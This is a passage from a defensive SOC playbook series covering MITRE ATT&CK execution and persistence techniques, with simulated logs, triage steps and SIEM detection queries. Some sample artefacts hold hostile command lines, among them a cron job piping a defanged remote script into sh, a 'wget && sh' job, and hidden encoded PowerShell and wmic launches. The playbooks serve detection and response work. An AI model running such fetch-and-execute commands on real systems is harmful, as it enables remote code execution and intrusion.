Context: SOC observes a recurring outbound HTTPS connection every night at 02:15 from a Linux server. Investigation reveals a newly added **cron** job executing a shell script from /tmp/.cache/. The script fetches commands from an external server and executes them.

Attacker objective: Achieve reliable, unattended execution while minimizing interaction and visibility.

Defender objective: Stop the scheduled execution, remove malicious artefacts and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) At Job Execution

Command=at 02:00 /tmp/run.sh
User=svc_backup

B) Cron Job

*/15 * * * * /usr/bin/curl hxxps://remote[.]site/p.sh | sh

C) Windows Scheduled Task

TaskName=UpdaterCheck
Action=C:\ProgramData\updater.exe
RunAs=SYSTEM

D) Systemd Timer

Timer=update-check.timer
OnCalendar=hourly
Service=update-check.service

E) Container Orchestration Job

Kind=CronJob
Image=alpine
Command=wget && sh

F) Timing Correlation

ExecutionTime=02:15
UserActivity=None

Severity decision (SOC)

High

- Suspicious scheduled execution with limited impact

Critical

- Scheduled jobs executing attacker-controlled code
- Execution under privileged or orchestration contexts
- Jobs enabling C2, lateral movement or impact

Example severity: Critical

(Unattended malicious execution via scheduler)

Step-by-step SOC workflow

Step 1 Validate scheduled execution

Confirm:

1. Is the scheduled job unauthorised or undocumented?
2. Does it execute scripts/binaries from non-standard paths?
3. Is it running off-hours or under elevated context?
4. Does execution correlate with network or endpoint alerts?

Decision point

- Approved automation → document
- Malicious scheduled execution → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
At	One-time timed execution	Precision
Cron	Repeated execution	Reliability
Scheduled Task	Windows automation	Privilege
Systemd Timers	Linux persistence-adjacent	Stealth
Container Jobs	Cluster-wide execution	Scale

Step 3 Map behaviour to attacker intent

3A) Reliable Payload Execution

Indicators

- Periodic execution without user action

Attacker intent

- Ensure consistent code run

3B) Off-Hours Stealth

Indicators

- Night or reboot-triggered runs

Attacker intent

- Reduce detection

3C) Scaled or Centralised Control

Indicators

- Orchestration jobs or shared tasks

Attacker intent

- Impact multiple assets

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons aligned with job schedule
2. Persistence
 - Additional schedulers or services
3. Privilege Escalation
 - Tasks running as SYSTEM/root
4. Impact
 - Ransomware, data exfiltration

Decision point

- Follow-on activity detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable or remove the scheduled job
2. Isolate affected hosts or nodes
3. Block external destinations contacted by the job

If malicious execution confirmed

1. Preserve scheduler configs and logs
2. Remove associated scripts/binaries
3. Reset credentials used by the task
4. Notify SOC leadership, IT Ops and Platform Owners

Eradication and recovery

- Remove all malicious scheduled entries
- Rebuild compromised systems if necessary
- Harden scheduler permissions and change controls
- Validate orchestration RBAC and CI/CD integrity
- Monitor closely for re-creation of jobs

Detection engineering (SIEM ideas)

A) New or modified scheduled jobs

```
index=os  
| where event IN ("cron_add","task_create","systemd_timer_add","k8s_cronjob_create")
```

B) Scheduled execution from unusual paths

```
index=edr  
| where process_parent IN ("cron","at","taskeng.exe","systemd")  
| where process_path NOT IN standard_paths
```

C) Time-based execution correlation

```
index=netflow OR index=edr  
| stats count by _time, host  
| where _time IN off_hours
```

Analyst checklist

- Scheduled job identified and validated
- Sub-technique classified
- Malicious execution stopped
- Artefacts removed and credentials reset
- Incident escalated appropriately

Post-incident improvements

- Treat schedulers as high-risk execution paths
- Enforce approvals and logging for task creation
- Monitor for scheduler abuse across OS and containers
- Correlate scheduler → execution → network activity
- Include scheduled-execution scenarios in SOC drills

Playbook 42 (MITRE Execution): Serverless Execution

Technique: Serverless Execution

Purpose

Detect, investigate and respond to malicious or unauthorised execution in serverless environments, enabling attackers to:

- Execute code without servers or agents
- Abuse cloud permissions and IAM roles
- Access databases, storage and secrets
- Establish stealthy persistence via triggers
- Perform data exfiltration or crypto-mining
- Blend malicious execution into normal cloud operations

This technique commonly follows Cloud Account Compromise, Poisoned Pipeline Execution or Valid Accounts and precedes Persistence, Exfiltration and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious serverless activity, including:

- New functions created without change approval
- Function code modified unexpectedly
- Functions invoked from unusual IPs, services or regions
- High-frequency or abnormal execution patterns
- Serverless functions accessing secrets unexpectedly
- Outbound connections from serverless runtime to unknown destinations

Example use case scenario (end-to-end)

Context: SOC detects repeated outbound connections from an AWS Lambda function to an unknown external IP. Investigation shows the function code was recently modified to include a hidden data exfiltration routine triggered by API Gateway requests.

Attacker objective: Use serverless execution to run malicious logic invisibly, access cloud data and exfiltrate it without deploying infrastructure.

Defender objective: Identify malicious serverless execution, contain the function and prevent cloud-wide abuse.

What it looks like (simulated SOC artefacts)

A) Serverless Function Code Update

2026-04-17T01:11:02Z
platform=AWS_Lambda
function=invoice-processor
action=UpdateFunctionCode
initiated_by=devops-user@example.my

B) Unexpected Function Invocation

2026-04-17T01:11:08Z
function=invoice-processor
trigger=API_Gateway
src_ip=203.0.113.99

C) Secret Access Inside Function

2026-04-17T01:11:14Z
service=SecretsManager
secret=db-prod-password
access=GetSecretValue

D) External Network Connection

2026-04-17T01:11:19Z
runtime=nodejs18
destination=198.51.100.55:443
bytes_out=18244

E) Abnormal Invocation Frequency

2026-04-17T01:11:32Z
function=invoice-processor
invocations=420
baseline=15

Severity decision (SOC)

Low

- Function execution aligned with business logic
- Approved code changes and expected triggers

Medium

- Function modified without full review
- Unusual invocation pattern but no data access

High

- Malicious logic executed
- Secrets accessed or data exfiltrated
- External communication to attacker infrastructure

Example severity: High

(Serverless code modification → secret access → outbound exfiltration)

Step-by-step SOC workflow

Step 1 Validate serverless execution legitimacy

Confirm:

1. Who created or modified the function?
2. Is the change approved and documented?
3. What triggers are invoking the function?
4. Does the function's behaviour match its business purpose?

Decision point

- Legitimate serverless activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify serverless execution scope

Serverless element	Evidence	Attacker value
Function code	Modified logic	Execution
Triggers	API, events, schedules	Persistence
IAM role	Permissions used	Privilege
Secrets	Accessed values	Credential theft
Network	External calls	Exfiltration / C2

Step 3 Map behaviour to attacker intent

3A) Stealthy Code Execution

Indicators

- Code changes hidden in existing functions

- Execution triggered by legitimate events

Attacker intent

- Run malicious logic invisibly

3B) Cloud Resource Abuse

Indicators

- Unexpected access to storage, DBs, secrets

Attacker intent

- Steal data or expand access

3C) Persistence via Event Triggers

Indicators

- Scheduled triggers
- Event-based re-invocation

Attacker intent

- Maintain long-term execution

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Storage reads, outbound traffic
2. Persistence
 - Additional functions, triggers, step functions
3. Privilege Escalation
 - IAM role modification
4. Impact
 - Data deletion, service disruption

Decision point

- Evidence found → escalate to Cloud Incident Response

Containment actions

If detected early

1. Disable affected serverless function
2. Block external network destinations
3. Revoke function IAM role permissions

If abuse confirmed

1. Disable all suspicious serverless functions
2. Rotate secrets accessed by the function
3. Lock down cloud account changes
4. Activate full cloud IR procedures

Eradication and recovery

- Remove malicious code and triggers
- Re-deploy clean functions from trusted source
- Audit all serverless IAM roles
- Review logs for full execution history
- Restore normal service operation

Detection engineering (SIEM ideas)

A) Serverless code modification monitoring

index=cloud
| where event IN ("UpdateFunctionCode","CreateFunction")

B) Abnormal serverless network egress

index=network
| where src_type="serverless"
| where dest_domain NOT IN trusted_domains

C) Secret access anomaly

index=cloud
| where service="SecretsManager"
| where caller_type="ServerlessFunction"

Analyst checklist

- Serverless execution validated
- Code and trigger changes reviewed

- IAM permissions assessed
- Secrets rotated
- Malicious execution removed

Post-incident improvements

- Enforce code signing and version control for serverless
- Require approval for function changes
- Apply least-privilege IAM roles for functions
- Restrict outbound network access for serverless runtimes
- Monitor serverless execution as Tier-0 signals

Playbook 43 (MITRE Execution): Shared Modules

Technique: Shared Modules

Purpose

Detect, investigate and respond to adversaries executing malicious code by abusing shared libraries or modules that are loaded by legitimate processes, enabling attackers to:

- Execute code without spawning obvious new processes
- Blend malicious logic into trusted binaries
- Trigger execution whenever a legitimate application runs
- Reduce visibility to traditional process-based detections
- Prepare for persistence or privilege escalation

Shared Modules is execution by piggybacking attackers don't run malware directly they let trusted software run it for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious shared library/module loading, including:

- New or modified DLLs, shared objects or libraries in trusted paths
- Legitimate applications loading modules from unusual directories
- Execution without a corresponding user-initiated process
- Library loads followed by network, credential or file activity
- Repeated execution tied to application startup or usage

Example use case scenario (end-to-end)

Context: SOC observes outbound network traffic every time a finance application launches. EDR telemetry shows the application loading an unexpected DLL from a writable directory. The DLL contains malicious code that executes on load.

Attacker objective: Achieve stealthy execution by embedding code into shared modules used by trusted software.

Defender objective: Identify malicious modules, remove them and prevent future abuse.

What it looks like (simulated SOC artefacts)

A) Suspicious Module Load (Windows)

Process=finance_app.exe
LoadedModule=C:\ProgramData\libupdate.dll
Signed=False

B) Suspicious Shared Object (Linux)

Process=sshd
Library=/tmp/.cache/libauth.so

C) No Direct Execution

ParentProcess=finance_app.exe
ChildProcess=None

D) Writable Directory Abuse

LibraryPath=UserWritable
Permissions=RWX

E) Repeated Execution Trigger

Trigger=ApplicationStart
Frequency=MultipleDaily

F) Follow-on Activity

NextAction=OutboundC2

Severity decision (SOC)

High

- Limited shared module abuse without privilege escalation

Critical

- Shared modules executing attacker code under trusted processes
- Abuse enabling stealth execution or lateral movement

Example severity: Critical

(Malicious execution hidden within trusted software)

Step-by-step SOC workflow

Step 1 Validate shared module execution

Confirm:

1. Is a new or modified module being loaded?
2. Is the module unsigned or unexpected?
3. Is it loaded from a non-standard or writable path?
4. Does loading correlate with suspicious behaviour?

Decision point

- Legitimate plugin/update → validate source
- Malicious shared module → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Shared library load	DLL/SO loaded	Stealth execution
Trusted process	Known binary	Defense evasion
Writable path	User-controlled dirs	Easy modification
Auto-load trigger	App start	Reliability
No child process	Silent execution	Low visibility

Step 3 Map behaviour to attacker intent

3A) Stealth Execution

Indicators

- Execution without process creation

Attacker intent

- Avoid endpoint detection

3B) Trust Abuse

Indicators

- Code runs under signed binaries

Attacker intent

- Blend into normal operations

3C) Preparation for Persistence

Indicators

- Module loaded repeatedly

Attacker intent

- Ensure recurring execution

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Boot/logon autostart, hijack execution flow
2. Credential Access
 - Keylogging or memory access
3. Command and Control
 - Network beacons on load
4. Privilege Escalation
 - Module abuse under elevated apps

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected systems
2. Block or unload malicious modules
3. Prevent further execution of affected applications

If shared module abuse confirmed

1. Preserve malicious libraries for analysis
2. Remove all unauthorised modules
3. Restrict write access to library paths
4. Notify SOC leadership and application owners

Eradication and recovery

- Remove malicious libraries across the environment
- Validate integrity of legitimate binaries

- Enforce code signing and library load restrictions
- Rebuild affected systems if required
- Monitor closely for reintroduction of rogue modules

Detection engineering (SIEM ideas)

A) Unsigned module load detection

```
index=edr
| where event="module_load"
| where signature_status!="Signed"
```

B) Module loaded from writable paths

```
index=edr
| where event="module_load"
| where module_path IN (user_writable_paths)
```

C) Module load followed by network activity

```
index=edr OR index=netflow
| transaction process maxspan=5m
```

Analyst checklist

- Shared module execution confirmed
- Malicious libraries identified
- Execution path blocked
- Integrity restored
- Incident escalated appropriately

Post-incident improvements

- Treat shared library loading as an execution vector
- Enforce application allowlisting and code signing
- Restrict writable directories in library search paths
- Monitor module load events, not just process creation
- Correlate module load → behaviour → impact

Playbook 44 (MITRE Execution): Software Deployment Tools

Technique: Software Deployment Tools

Purpose

Detect, investigate and respond to adversaries executing malicious code by abusing legitimate software deployment, configuration management or update tools, enabling attackers to:

- Execute payloads at scale across many systems
- Abuse trusted admin and IT workflows
- Run code with elevated or SYSTEM-level privileges
- Blend malicious execution into normal IT operations
- Achieve rapid lateral execution without exploits

Software Deployment Tools is execution via trust abuse attackers don't fight IT controls they become the IT controls.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious use of deployment or management tooling, including:

- Software pushed without change approval
- Deployment tools executing scripts or binaries from unusual sources
- Payloads delivered to many hosts simultaneously
- Execution occurring under deployment service accounts
- Tool usage outside normal maintenance windows

Example use case scenario (end-to-end)

Context: SOC observes a new executable deployed to hundreds of endpoints within minutes. The deployment originates from a compromised configuration management server. The binary establishes outbound C2 connections immediately after execution.

Attacker objective: Leverage centralised deployment tooling to execute malware at enterprise scale.

Defender objective: Stop the deployment, contain compromised tooling and prevent mass execution.

What it looks like (simulated SOC artefacts)

A) Mass Software Deployment

Tool=SCCM

Package=update_patch_v2

Targets=320 Hosts

B) Unusual Payload Source

PayloadSource=\\fileshare\\temp\\agent.exe

Signature=Unsigned

C) Elevated Execution Context

RunAs=SYSTEM

ServiceAccount=sccm_svc

D) No User Interaction

UserInitiated=False

E) Off-Hours Execution

ExecutionWindow=03:00–03:10

ChangeTicket=None

F) Follow-on Activity

NextAction=OutboundC2

Severity decision (SOC)

High

- Limited misuse of deployment tools affecting few systems

Critical

- Enterprise-wide execution
- Deployment tools fully compromised
- Malware running as SYSTEM or admin across hosts

Example severity: Critical

(Mass malicious execution via trusted IT tooling)

Step-by-step SOC workflow

Step 1 Validate deployment-based execution

Confirm:

1. Is the deployment unauthorised or undocumented?
2. Is the payload unexpected, unsigned or suspicious?
3. Is execution happening at scale?
4. Does execution correlate with malicious behaviour?

Decision point

- Approved IT rollout → validate change records
- Malicious deployment → escalate immediately

Step 2 Identify tool and scope

Tool Type	Evidence	Attacker value
Config management	SCCM, Ansible, Puppet	Scale
Update systems	WSUS, custom updaters	Trust
Script deployment	PowerShell, Bash	Flexibility
Service accounts	SYSTEM/root	Privilege
Central control	Single push	Speed

Step 3 Map behaviour to attacker intent

3A) Mass Execution

Indicators

- Hundreds of hosts affected

Attacker intent

- Rapid environment takeover

3B) Privilege Abuse

Indicators

- SYSTEM or root context

Attacker intent

- Full control without escalation

3C) Detection Suppression

Indicators

- Execution during maintenance windows

Attacker intent

- Blend into normal operations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, scheduled tasks
2. Command and Control
 - Beacons from many hosts
3. Credential Access
 - LSASS or token theft
4. Impact
 - Ransomware, data destruction

Decision point

- Follow-on detected → escalate to Enterprise IR / Crisis Response

Containment actions

Immediate

1. Disable compromised deployment tools
2. Stop active deployments and jobs
3. Isolate affected endpoints

If malicious execution confirmed

1. Revoke and rotate deployment service account credentials
2. Remove malicious packages and scripts
3. Preserve deployment logs and artefacts
4. Notify SOC leadership, IT Ops and Executive Management

Eradication and recovery

- Rebuild compromised deployment infrastructure
- Reimage affected endpoints if required
- Restore clean deployment baselines
- Implement strict RBAC and approvals
- Monitor closely for redeployment attempts

Detection engineering (SIEM ideas)

A) Mass execution via deployment tools

```
index=edr
| stats dc(host) by process_name
| where dc(host) > threshold
```

B) Unsigned payloads deployed centrally

```
index=edr
| where parent_process IN ("sccm.exe","ansible","puppet")
| where signature_status!="Signed"
```

C) Off-hours deployments

```
index=deployment
| where change_ticket="None"
| where _time IN off_hours
```

Analyst checklist

- Deployment tool abuse confirmed
- Scope of affected systems identified
- Malicious execution stopped
- Deployment infrastructure secured
- Incident escalated appropriately

Post-incident improvements

- Treat software deployment systems as Tier-0 assets
- Enforce multi-person approval for deployments
- Monitor deployment tools as execution engines
- Log and alert on mass execution events
- Correlate deployment → execution → network behaviour

Playbook 45 (MITRE Execution): System Services

Technique: System Services

Sub-techniques:

- Launchctl
- Service Execution
- Systemctl

Purpose

Detect, investigate and respond to adversaries executing malicious code by abusing operating system service managers, enabling attackers to:

- Execute code without direct user interaction
- Run payloads with elevated or system-level privileges
- Blend execution into legitimate service operations
- Trigger execution at boot or service start
- Prepare groundwork for persistence and long-term control

System Services is execution through the operating system's backbone attackers hijack how the OS normally runs software.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious service-based execution, including:

- New or modified services without change approval
- Services executing binaries or scripts from unusual paths
- Services running under SYSTEM/root unexpectedly
- Services starting immediately after compromise indicators
- Execution tied to service start, restart or boot events

Example use case scenario (end-to-end)

Context: SOC detects a Linux server initiating outbound connections immediately after a system reboot. Investigation shows a new systemd service configured to run a shell script from /var/tmp/.svc/. The service was created shortly after a suspicious SSH login.

Attacker objective: Achieve reliable, privileged execution by embedding malicious code into system service workflows.

Defender objective: Stop the service execution, remove malicious services and prevent reinstallation.

What it looks like (simulated SOC artefacts)

A) Launchctl Abuse (macOS)

Label=com.apple.update.check
ProgramArguments=/Users/shared/.cache/update.sh
RunAtLoad=true

B) Windows Service Execution

ServiceName=WinUpdateSvc
BinaryPath=C:\ProgramData\update.exe
StartType=Auto
RunAs=LocalSystem

C) Systemctl Abuse (Linux)

Service=network-check.service
ExecStart=/tmp/.net/check.sh
WantedBy=multi-user.target

D) Immediate Execution

Trigger=ServiceStart
UserInteraction=None

E) Privileged Context

ExecutionContext=SYSTEM/root

F) Follow-on Activity

NextAction=InternalDiscovery

Severity decision (SOC)

High

- Suspicious service execution with limited scope

Critical

- Malicious services running as SYSTEM/root
- Services enabling C2, persistence or lateral movement

Example severity: Critical

(Privileged execution via OS service abuse)

Step-by-step SOC workflow

Step 1 Validate service-based execution

Confirm:

1. Is the service unauthorised or newly created?
2. Does it execute unexpected binaries or scripts?
3. Is the execution context elevated?
4. Does execution correlate with network or endpoint alerts?

Decision point

- Legitimate system service → validate ownership
- Malicious service execution → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Launchctl	plist auto-run	macOS stealth
Service Execution	Windows services	SYSTEM access
Systemctl	Linux services	Boot-time execution
Auto-start	Enabled on boot	Reliability
Trusted mechanism	OS-native	Evasion

Step 3 Map behaviour to attacker intent

3A) Privileged Code Execution

Indicators

- Services running as SYSTEM/root

Attacker intent

- Full host control

3B) Stealth and Blending

Indicators

- Legitimate-sounding service names

Attacker intent

- Avoid detection

3C) Preparation for Persistence

Indicators

- Auto-start on boot

Attacker intent

- Long-term access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Boot or logon autostart, account manipulation
2. Credential Access
 - LSASS or keychain access
3. Command and Control
 - Beacons tied to service start
4. Impact
 - Ransomware or sabotage

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Stop and disable malicious services
2. Isolate affected systems
3. Block outbound connections linked to the service

If service abuse confirmed

1. Preserve service configurations and binaries
2. Remove malicious services and artefacts
3. Reset credentials used during installation
4. Notify SOC leadership and platform owners

Eradication and recovery

- Remove all unauthorised services
- Restore trusted service baselines
- Harden service creation permissions
- Rebuild hosts if integrity is uncertain
- Monitor closely for service recreation

Detection engineering (SIEM ideas)

A) New service creation

index=os
| where event IN ("service_create","launchctl_load","systemd_service_add")

B) Service executing from unusual paths

index=edr
| where parent_process IN ("services.exe","systemd","launchd")
| where process_path NOT IN standard_service_paths

C) Service start followed by network activity

index=edr OR index=netflow
| transaction host maxspan=5m

Analyst checklist

- Service-based execution confirmed
- Sub-technique identified
- Malicious services disabled and removed
- Artefacts preserved
- Incident escalated appropriately

Post-incident improvements

- Treat system services as high-risk execution vectors
- Enforce strict controls on service creation
- Monitor service lifecycle events continuously

- Baseline legitimate services across platforms
- Correlate service creation → execution → behaviour

Playbook 46 (MITRE Execution): User Execution

Technique: User Execution

Sub-techniques:

- Malicious Link
- Malicious File
- Malicious Image
- Malicious Copy and Paste
- Malicious Library

Purpose

Detect, investigate and respond to execution that occurs because a user performs an action, enabling attackers to:

- Trigger malware or scripts via trusted user behaviour
- Bypass technical controls using social engineering
- Chain execution into persistence and credential access
- Leverage user context to gain initial footholds
- Blend malicious activity into legitimate workflows

User Execution remains one of the most successful real-world execution techniques, even in mature security environments.

When to trigger this playbook

Trigger this playbook when indicators suggest execution driven by user interaction, including:

- Users clicking links followed by script or binary execution
- Files opened from email, chat or cloud storage
- Image files leading to unexpected process creation
- Commands executed after users copy/paste content
- Libraries loaded after users extract or move files
- Execution aligned with user activity timelines

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution shortly after a user clicks a link in a phishing email. The link downloads a malicious ISO file, which contains a DLL sideloaded by a legitimate executable.

Attacker objective: Trick the user into performing a benign-looking action that leads to code execution.

Defender objective: Correlate user activity with execution, contain the infection and prevent repeat exposure.

What it looks like (simulated SOC artefacts)

A) Malicious Link Click

2026-04-25T01:11:02Z
user=employee12
action=click
url=https://secure-docs[.]net/view
source=email

B) Malicious File Opened

2026-04-25T01:11:14Z
file=Invoice_0425.iso
action=mounted
user=employee12

C) Malicious Image Abuse

2026-04-25T01:11:21Z
file=promo.jpg
application=image_viewer.exe
child_process=powershell.exe

D) Malicious Copy and Paste

2026-04-25T01:11:29Z
clipboard_content=powershell -nop -w hidden -enc SQBFaFgA...
executed_by=user

E) Malicious Library Execution

2026-04-25T01:11:38Z
process=setup.exe
loaded_library=version.dll
path=C:\Users\Public\Temp\
signature=unsigned

Severity decision (SOC)

Low

- User interaction detected but execution blocked
- No payload execution

Medium

- Execution occurred but payload blocked or contained
- No persistence or C2

High

- Successful execution with follow-on activity
- Credential access, persistence or C2 observed

Example severity: High

(User click → file execution → DLL sideloading → beaconing)

Step-by-step SOC workflow

Step 1 Validate user-driven execution

Confirm:

1. What user action triggered execution (click, open, paste)?
2. Was the action expected or suspicious?
3. Did execution immediately follow the user action?
4. Was the user socially engineered?

Decision point

- Benign user action → monitor
- Suspicious or manipulated → continue investigation immediately

Step 2 Identify user execution vector

Vector	Evidence	Attacker value
Malicious Link	URL click	Initial payload delivery
Malicious File	Attachment / download	Direct execution
Malicious Image	Image parsing	Stealth execution
Copy & Paste	Clipboard commands	Bypass AV
Malicious Library	DLL sideloading	Stealth persistence

Step 3 Map behaviour to attacker intent

3A) Social Engineering-Driven Execution

Indicators

- Phishing, lure content
- Trusted branding

Attacker intent

- Bypass technical controls

3B) Living-off-the-User

Indicators

- User-initiated execution
- No exploit required

Attacker intent

- Reduce detection surface

3C) Stealth Payload Loading

Indicators

- DLL sideloading
- Image-based execution

Attacker intent

- Evade signature detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Scheduled tasks, services, autoruns
2. Credential Access
 - Browser creds, token theft
3. Lateral Movement
 - SMB, RDP, cloud logins

4. C2
 - Beaconsing or DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Terminate malicious processes
2. Block malicious URLs and hashes
3. Isolate affected endpoint if needed

If execution successful

1. Isolate endpoint immediately
2. Reset user credentials
3. Block related IOCs organisation-wide
4. Preserve artefacts for forensics

Eradication and recovery

- Remove malicious files and libraries
- Remove persistence mechanisms
- Reimage endpoint if integrity uncertain
- Restore user access securely
- Conduct user awareness follow-up

Detection engineering (SIEM ideas)

A) Execution shortly after user click

```
index=proxy OR index=edr  
| transaction user maxspan=2m  
| where action="click" AND child_process IS NOT NULL
```

B) User process spawning interpreter

```
index=edr  
| where parent_process IN ("explorer.exe","image_viewer.exe","browser.exe")  
| where child_process IN ("powershell.exe","cmd.exe","bash")
```

C) DLL sideloading by user-launched app

index=edr

| where process_started_by_user=true

| where module_signed=false AND process_signed=true

Analyst checklist

- User action correlated to execution
- Execution vector identified
- Endpoint contained
- Persistence removed
- User notified and reset

Post-incident improvements

- Harden email, web and download controls
- Restrict script and DLL execution from user-writable paths
- Enable attack surface reduction (ASR) rules
- Monitor clipboard-to-execution patterns
- Reinforce user awareness with real attack examples

Playbook 47 (MITRE Execution): Windows Management Instrumentation

Technique: Windows Management Instrumentation

Purpose

Detect, investigate and respond to adversaries executing code through Windows Management Instrumentation (WMI), enabling attackers to:

- Execute commands remotely or locally without dropping binaries
- Leverage a trusted Windows administration framework
- Run code under SYSTEM or privileged contexts
- Blend malicious execution into legitimate IT operations
- Enable execution that can later transition into persistence

WMI is execution via administrative plumbing attackers don't run tools loudly they ask Windows to run them.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of WMI for command or process execution, including:

- wmic, powershell or cscript usage invoking WMI classes
- Remote execution without interactive logon (no RDP, no console)
- Process creation with parent processes like WmiPrvSE.exe
- Execution aligned with lateral movement or service abuse
- WMI usage outside approved admin tooling or maintenance windows

Example use case scenario (end-to-end)

Context: SOC detects cmd.exe execution on a server with parent process WmiPrvSE.exe. No user logon or scheduled task is present. Network logs show the command originated from another compromised workstation.

Attacker objective: Use WMI remote execution to run commands silently across systems.

Defender objective: Stop WMI abuse, identify the source and prevent further remote execution.

What it looks like (simulated SOC artefacts)

A) Local WMI Execution

ParentProcess=WmiPrvSE.exe
ChildProcess=cmd.exe
CommandLine=cmd.exe /c whoami

B) Remote WMI Invocation

SourceHost=WS-023
TargetHost=SRV-FILE01
Method=Win32_Process.Create

C) No Interactive Logon

LogonType=None
RDP=False

D) Elevated Context

ExecutionContext=SYSTEM

E) Scripted WMI Use

Command=wmic process call create "powershell.exe -enc ..."

F) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Suspicious WMI execution limited to a single host

Critical

- WMI used for lateral execution or privilege abuse
- Remote execution across multiple systems

Example severity: Critical

(Stealthy remote execution via trusted Windows management)

Step-by-step SOC workflow

Step 1 Validate WMI-based execution

Confirm:

1. Is WMI being used to create or execute processes?
2. Is the execution unauthorised or undocumented?
3. Is it remote or running under SYSTEM context?
4. Does it correlate with lateral movement or intrusion activity?

Decision point

- Legitimate admin action → validate source and approval
- Malicious WMI execution → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
WmiPrvSE parent	Process lineage	Stealth
Win32_Process.Create	Execution method	Remote control
No logon session	No RDP/console	Low visibility
Encoded commands	PowerShell/Base64	Obfuscation
Cross-host usage	Source ≠ target	Lateral movement

Step 3 Map behaviour to attacker intent

3A) Stealthy Execution

Indicators

- No interactive logon

Attacker intent

- Avoid user-facing alerts

3B) Lateral Execution

Indicators

- Remote WMI calls

Attacker intent

- Expand access across network

3C) Privileged Control

Indicators

- SYSTEM context execution

Attacker intent

- Full host manipulation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Remote Services, SMB, RDP
2. Credential Access
 - LSASS access, token theft
3. Persistence
 - WMI event subscriptions
4. Command and Control
 - Beacons following execution

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected hosts
2. Block WMI traffic between hosts if possible
3. Terminate malicious processes spawned by WMI

If WMI abuse confirmed

1. Preserve WMI logs and process telemetry
2. Identify and isolate the originating host
3. Reset credentials used for remote execution
4. Notify SOC leadership and Windows platform owners

Eradication and recovery

- Remove attacker tools and scripts
- Disable unnecessary WMI remote access

- Restrict WMI permissions to admin-only groups
- Apply host hardening and logging enhancements
- Monitor closely for renewed WMI activity

Detection engineering (SIEM ideas)

A) Process creation via WMI

```
index=edr
| where parent_process="WmiPrvSE.exe"
| where process_name IN ("cmd.exe","powershell.exe","cscript.exe","mshta.exe")
```

B) Remote WMI execution

```
index=windows
| where event_id=4688
| where parent_process="WmiPrvSE.exe"
```

C) Encoded or suspicious commands

```
index=edr
| where command_line LIKE "%-enc%"
```

Analyst checklist

- WMI execution confirmed
- Source and target hosts identified
- Malicious commands terminated
- Credentials and access reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat WMI as a high-risk execution and lateral movement vector
- Log and alert on WMI process creation events
- Restrict remote WMI usage by network segmentation
- Correlate WMI execution → lateral movement → impact
- Include WMI abuse scenarios in SOC training

PERSISTENCE

Persistence is the stage where attackers ensure they can maintain access to the environment even if their initial entry point is discovered or removed. After execution, adversaries establish mechanisms such as scheduled tasks, services, startup items, registry changes, backdoors or account manipulation to survive reboots, credential resets and routine clean-up. Persistence turns a one-time breach into a long-term threat, allowing attackers to return, continue operations and escalate impact over time. For SOC teams, detecting persistence is vital because it indicates the attacker intends to stay removing these mechanisms thoroughly is essential to fully eradicate the intrusion and prevent re-compromise.

Playbook 48 (MITRE Persistence): Account Manipulation

Technique: Account Manipulation

Sub-techniques:

- Additional Cloud Credentials
- Additional Email Delegate Permissions
- Additional Cloud Roles
- SSH Authorized Keys
- Device Registration
- Additional Container Cluster Roles
- Additional Local or Domain Groups

Purpose

Detect, investigate and respond to persistence achieved by modifying identities, roles, credentials or access relationships, enabling attackers to:

- Maintain access without malware
- Re-enter environments after password resets
- Blend into legitimate user and admin activity
- Survive endpoint reimaging and security cleanup
- Persist across cloud, identity, email, servers and containers

Account manipulation is one of the stealthiest and longest-lasting persistence techniques, frequently used in cloud and identity-centric attacks.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised identity or access changes, including:

- New credentials or keys added without approval
- Unexpected role or group membership changes
- Delegated access granted silently
- Devices registered without user awareness
- Container RBAC expanded unexpectedly
- Persistence that survives password resets

Example use case scenario (end-to-end)

Context: SOC detects suspicious cloud login activity even after a user's password is reset. Investigation reveals the attacker added additional cloud credentials, granted email delegate access and placed a service account into an admin group.

Attacker objective: Maintain long-term, low-visibility access by manipulating identity and access controls.

Defender objective: Identify all persistence paths, remove hidden access and restore identity integrity.

What it looks like (simulated SOC artefacts)

A) Additional Cloud Credentials

2026-04-29T01:11:02Z
service=IAM
action=CreateAccessKey
user=cloud-user01
initiated_by=cloud-user01

B) Additional Email Delegate Permissions

2026-04-29T01:11:08Z
mailbox=finance@example.my
delegate=svc-mail-sync@example.my
permission=FullAccess

C) Additional Cloud Roles

2026-04-29T01:11:14Z
service=AzureAD
action=AddMemberToRole
role=GlobalAdmin
member=svc-backup@example.my

D) SSH Authorized Keys

2026-04-29T01:11:21Z
user=appuser
file=~/.ssh/authorized_keys
key_added=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQ...

E) Device Registration

2026-04-29T01:11:28Z
service=EntraID
action=RegisterDevice
device=Unknown-Laptop

user=employee07

F) Additional Container Cluster Roles

